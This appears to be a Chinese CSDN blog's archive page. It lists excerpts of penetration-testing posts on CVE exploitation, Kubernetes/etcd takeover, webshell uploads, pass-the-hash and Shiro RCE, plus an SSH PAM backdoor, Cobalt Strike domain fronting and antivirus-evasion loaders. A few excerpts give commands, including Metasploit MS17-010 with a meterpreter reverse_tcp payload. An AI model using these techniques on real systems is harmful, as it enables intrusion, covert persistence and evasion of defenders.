LQxdp-CSDN博客

原创 CVE-2020-14882_ALL综合利用工具

简介CVE-2020-14882_ALL综合利用工具，支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。需要模块：requests、http.client（工具仅用于授权的安全测试，请勿用于非法使用，违规行为与作者无关。）命令回显模块已知成功版本：12.2.1.3.0、12.2.1.4.0、14.1.1.0.0工具地址：https://github.com/GGyao/CVE-2020-14882_ALL（喜欢的点个star喔）选项功能一：命令回显python3 CVE-20

2020-12-07 19:43:19 2464 2

原创 docker搭建简单的ctf题目

0x01 docker常用命令1.拉取镜像。docker pull [image]2.查看docker当前镜像。docker image ls 或 docker images3.新建一个docker容器，并映射端口号。docker run -d -p [host port]:[docker port] [image]4.查看运行中的docker容器。docker ps...

2018-12-07 14:11:09 11166 2

原创 Kubernetes（K8S）各种攻击方法

Kubernetes可以约束一个 Pod 只能在特定的节点上运行。节点亲和性是Pod的一种属性，它使 Pod 被吸引到一类特定的节点（这可能出于一种偏好，也可能是硬性要求）。污点（Taint）则相反——它使节点能够排斥一类特定的 Pod。容忍度（Toleration）是应用于 Pod 上的，允许（但并不要求）Pod 调度到带有与之匹配的污点的节点上。我们可以控制Pod创建时候的污点来向集群内的节点进行喷洒创建。

2024-01-25 09:33:35 1205

原创 confluence模版注入漏洞_CVE-2023-22527

Confluence是Atlassian公司开发的一款专业的企业知识管理与协同软件，可用于构建企业wiki。Confluence Data Center和Confluence Server多个受影响版本中存在模板注入漏洞，未经身份验证的威胁者可利用该漏洞在受影响的实例上实现远程代码执行。

2024-01-24 17:23:42 511

原创齐治堡垒机私钥登录及后渗透

（目前在 php 版本齐治成功，其他版本未测试）1、老、新版本私钥。2、直接指定私钥登录，可以使用 xshell、命令行（ssh 端口可能是 22 或者 8022）命令行命令：ssh [email protected] -i rsa -p 22我这里直接使用 xshell 登录了。登录成功。

2024-01-23 14:36:11 526

原创 Hashicorp Consul Service API远程命令执行漏洞

2018年11月27日，Consul在官方博客中发布了有关Consul工具可能存在远程命令执行（RCE）漏洞的公告，并提供了防护该漏洞的配置方案。Consul是HashiCorp公司推出的一款开源工具，旨在实现分布式系统的服务发现与配置。相较于其他分布式服务注册与发现的解决方案，Consul提供更为全面的功能。它内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案，无需依赖其他工具（如ZooKeeper等），使用也相对简单。

2024-01-18 14:22:40 1181

原创 log4j2漏洞综合利用_CVE-2021-44228_CNVD-2021-95919

1、在检测到目标存在 log4j2 漏洞后，确定漏洞参数，尝试接受目标 rmi 请求。成功接收到请求。出现 JRMIK 字样即代表可接受 RMI 请求。2、漏洞利用。使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar执行命令，反弹 shell。成功接收 RMI 请求。反弹 shell 成功。

2024-01-16 17:28:58 375

原创 ETCD 未授权访问实战案例

3、通常情况下 etcd 所在 ip 即为 6443 管理端口所在 ip，探测后发现 6443 端口开放，接下来可通过 kubectl 操作 k8s。最终发现/registry/secrets/kube-system/tiller-token-vnnjg 为高权限 token。2、尝试在etcd里查询管理员的token，然后使用该token配合kubectl指令接管集群。pod 数量 131 个，实际容器数量大于等于 131 台。列出kube-system 下所有 pods。1、发现 etcd 未授权。

2024-01-15 17:37:01 961

原创 Kubernetes (K8S) 3 小时快速上手 + 实践

ClusterIP默认的，仅在集群内可用NodePort暴露端口到节点，提供了集群外部访问的入口端口范围固定 30000 ~ 32767需要负载均衡器（通常都需要云服务商提供，裸机可以安装METALLB测试）会额外生成一个 IP 对外服务负载均衡器。Headless适合数据库官网文档。StatefulSet 是用来管理有状态的应用，例如数据库。前面我们部署的应用，都是不需要存储数据，不需要记住状态的，可以随意扩充副本，每个副本都是一样的，可替代的。

2024-01-15 17:34:36 1152

原创帆软V9任意文件覆盖漏洞+无损上传

由于WebReport V9在安装之后在WebReport目录下存在update.jsp和update1.jsp，因此可以构造payload直接覆盖这两个文件的内容，从而GetShell。要由chartmapsvg开头，包含.svg时会先创建文件，然后再到后续逻辑,所以只需要xxx.svg.jsp这种格式，不需要覆盖原有文件即可无损利用成功。上传其他 webshell 同理，建议哥斯拉、冰蝎等等。注意：木马的双引号要转义一下。

2024-01-15 16:50:28 730

原创帆软后台（外观配置-主题）文件上传漏洞

webapps/WebReport/WEB-INF/resources/fstheme/fs-theme-test/目录下名称为app.jsp，但当前目录并非 web 目录，web 无法访问 webshell。/webapps/WebReport/bakup/all_bakup/manualbackup/222/WEB-INF/resources/fstheme/fs-theme-app/ 路径下。添加主题上传的压缩包中放入shell.jsp马（没有添加主题功能直接构造数据包）

2024-01-15 16:48:39 470

原创 gitlab 命令执行漏洞（CVE-2022-2992）

GitLab CE/EE 中的一个漏洞影响从 11.10 开始到 15.1.6 之前的所有版本、从 15.2 开始到 15.2.4 之前的所有版本、从 15.3 开始到 15.3.2 之前的所有版本。允许经过身份验证的用户通过从 GitHub API 端点导入实现远程代码执行。查看 gitlab 版本。(登录后才能看到)

2024-01-15 15:50:03 1083

原创利用哈希传递登录 RDP 远程桌面

Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议，在这个新版协议中有一个 ”受限管理员” （Restricted Admin）的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣，因为通过这个特性，我们可以实现哈希传递攻击并成功登录远程桌面。在抓取到的 Hash 无法破解的情况下，如果目标主机开启了 “Restricted Admin Mode” 也行，那么我们便可以使用 Hash 来直接实现 RDP 远程登录。

2024-01-15 15:18:07 758

原创 gost 多级代理

1、代理链原理，首先需要把最外层跳板机的流量带出来（Frp或gost都可以实现），内层流量（二层、三层、四层等等）代理主要是在每层对应的主机开启gost socks5端口，主要分为非转发代理（./gost -L=socks5://:8899）和转发代理（./gost -L=socks5://:8899 -F=socks5://192.168.202.130:9999），二层推荐非转发代理开启，三层推荐转发代理开启。2、若第二层主机可以访问第三层主机，第三层代理主机不能访问第二层主机，则代理无效。

2024-01-15 15:12:14 2041

原创 crackmapexec工具详解

即使找到有效密码后，使用 --continue-on-success 标志也会继续喷射。CME 确实支持 Kerberos 身份验证，有两种选择，直接使用密码/哈希或使用票证并使用环境KRB5CCNAME名称指定票证。使用选项-k or–use-kcache 时，您需要指定与 kerberos 票证中的主机名相同的主机名 (FQDN)有关通过特定协议使用凭据的详细信息，请参阅相应的 wiki 部分。2、当使用包含特殊符号的用户名或密码时，请将它们用单引号引起来，以使 shell 将它们解释为字符串。

2024-01-12 10:12:58 1138

原创 vcenter综合利用总结

ESXi：安装在实体服务器上，其实是个linux内核的操作系统，官方的说法是有自己专利的一个内核，不属于以往任何现有的产品。只有安装了ESXi以后你才能在上面创建虚拟机。你可以理解成在你的台式机上装的vmware workstation，只不过ESXi不用运行在操作系统上（因为本身就是操作系统）而为虚拟机直接调用硬件资源。vCenter：就是个管理软件，用来管理虚拟机和实体机，比如通过vCenter监控虚拟运行情况、创建虚拟机、调整虚拟机资源、迁移虚拟机等等。

2024-01-12 09:47:54 1126

原创 01-Shiro550漏洞流程

Apache Shiro框架提供了记住密码的功能（RememberMe），用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值，先base64解码然后AES解密再反序列化，就导致了反序列化RCE漏洞。那么，Payload产生的过程：命令 -> 序列化 -> AES加密 -> base64编码 -> RememberMe Cookie值。

2023-04-30 19:49:10 837 1

原创 CommonsCollections1-TransformedMap

CommonsCollections1-TransformedMap

2023-04-02 00:10:49 112

原创 springboot读取shirokey命令执行

0x1 简介当springboot遇到shiro，一切变得合理了起来。0x2 利用存在springboot env页面https://xxx/api/actuator/env但未发现明文shirokey，如图这种的。使用visualvm工具读取shiro字节类型key。下载：https://visualvm.github.io/download.html（工具在/bin目录下）导入heapdump，在过滤文件中搜索如下条件。org.apache.shiro.web.mgt.Cooki

2022-03-31 14:51:53 1922 1

原创 AD CS证书服务中继攻击

0x1 简介AD CS支持几种基于HTTP协议的通过管理员可以安装的其他AD CS服务器角色功能，这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击。注：借图0x2 环境信息域控（windows server 2016）：192.168.3.129辅控（windows server 2016）：192.168.3.131（AD CS）域内主机（windows 10）：192.168.3.171攻击机（kali）：192.168.3.158搭建ADCS证书服务：https://mp.

2022-03-05 21:23:55 3816

原创 cobaltstrike域前置

给cobaltstrike加域前置是一项非常简单而有用的技术，cobaltstrike有了域前置可以大大提升其隐蔽性，同时也保护了我们cobaltstrike服务端的真实ip，增加了防守方反制的难度。cobaltstrike域前置1、登录腾讯云，开启cdn服务。添加高可信域名。回源地址设置为vps地址。添加成功。2、修改profile文件图中两处，指定Host使得CDN把请求转发到我们的服务器。https://github.com/rsmudge/Malleable-C2-Profil

2021-11-01 21:17:16 3389

原创 SSH PAM后门（万能密码、记录密码）

PAM是Linux默认的ssh认证登录机制，我们可以通过修改源码来实现万能密码，记录登陆密码等功能。1、在centos中需要关闭selinux。永久关闭需要修改/etc/selinux/config，将其中SELINUX设置为disabled。2、查看PAM版本。rpm -qa|grep pam源码下载地址：http://www.linux-pam.org/library/3、解压。wget http://www.linux-pam.org/library/Linux-PAM-1.1.8

2021-08-19 16:07:11 3185

原创 MS17010漏洞利用总结

0x01 常规打法扫描是否存在ms17-010漏洞：nmap -n -p445 --script smb-vuln-ms17-010 192.168.1.0/24 --openMSF常规漏洞利用：msf > use exploit/windows/smb/ms17_010_eternalblue msf > set rhost 192.168.1.112 反向打：msf > set payload windows/x64/meterpreter/reverse_tcp m

2021-08-17 21:06:58 4942

原创木马免杀实践-golang

0x01 简介这里以github上一个golang免杀项目为例，项目地址：https://github.com/yumusb/CS-Loader/tree/master/go%E7%89%88%E6%9C%AC，原项目使用方法如下，根据其要求生成cobaltstrike木马后，上传virustotal，免杀效果已经比较差了，且生成木马大小为5.9M，比较大。0x02 解读原项目原项目–python加密部分此项目加密shellcode采用的方式是base64 -> RC4加密 -> bas

2021-08-09 13:16:51 1858

原创 Spring-boot远程代码执行系列（eureka xstream deserialization RCE）

0x1 漏洞原理1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址。2.refresh 触发目标机器请求远程 URL，提前架设的 fake eureka server 就会返回恶意的 payload。3.目标机器相关依赖解析 payload，触发 XStream 反序列化，造成 RCE 漏洞。0x2 漏洞利用条件1.可以 POST 请求目标网站的 /env 接口设置属性2.可以 POST 请求目标网站的

2020-10-05 22:27:58 5598 2

原创 CVE-2020-1472 域内提权

0x1 工具这里使用zerologon_tester（https://github.com/SecuraBV/CVE-2020-1472）工具验证漏洞是否存在，使用zerologon（https://github.com/risksense/zerologon）工具复现。运行set_empty_pw.py脚本需要最新版的impacket（https://github.com/SecureAuthCorp/impacket/commit/64ce46580286b5ab15a4737bddf85201ce

2020-09-16 21:26:35 6057

空空如也

空空如也